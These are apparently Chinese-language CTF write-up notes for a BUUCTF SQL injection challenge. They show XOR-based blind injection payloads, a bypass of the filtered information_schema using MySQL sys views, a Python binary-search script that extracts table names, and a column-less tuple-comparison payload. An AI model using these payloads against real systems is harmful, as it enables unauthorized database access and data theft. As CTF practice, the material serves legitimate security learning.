尝试过后发现只有1,2可以,3以上会显示错误
尝试一下slq注入,但是输入不是1,2的就会显示错误
尝试异或注入
被过滤了
过滤了for,in在information里也被过滤了
可以用这种方式获得当前数据库,但是information不能用了,也没什么绕过的方式,就不能查表之类的了
id=1^(ascii(substr(database(),1,1))=103)^1
也可以用这个查其他数据库
id=1^(ascii(substr((select(group_concat(table_name))from(sys.x$schema_flattened_keys)),1,1))=102)^1
换成 innodb_table_stats 也没用
聊一聊bypass information_schema - 安全客,安全资讯平台
用 sys.x$schema_flattened_keys 或者 sys.schema_table_statistics_with_buffer 代替,然后可以查表
id=1^(ascii(substr((select(group_concat(table_name))from(sys.x$schema_flattened_keys)where(table_schema=database())),1,1))=102)^1
import requests
url='http://35737a35-63b7-4e60-a584-e5cbbead6dc6.node3.buuoj.cn/index.php'
#give_grandpa_pa_pa_pa
payload_table='1^(ascii(substr((select group_concat(table_name) from sys.x$schema_flattened_keys where table_schema=database()),{},1))>{})^1'
flag =''
for i in range(1,100):
low = 32
high = 132
mid = (low + high) //2
while(low < high):
payload = payload_table.format(i,mid)
data={"id": payload}
print(payload)
r = requests.post(url=url,data=data)
if 'Nu1L' in r.text:
low = mid+1
else:
high = mid
mid = (low+high) //2
if(mid ==32 or mid == 127):
break
flag +=chr(mid)
print(flag)
查到表名
f1ag_1s_h3r3_hhhhh,users233333333333333
继续查列名,但是列名好像又不能用之前的两个词了
后面需要无列名注入
无列名注入主要是适用于已经获取到数据表,但无法查询列的情况下,在大多数 CTF 题目中,information_schema 库被过滤,使用这种方法获取列名。
id=1^((1,'G')>(select * from f1ag_1s_h3r3_hhhhh))^1
没查到可以用ascii的方式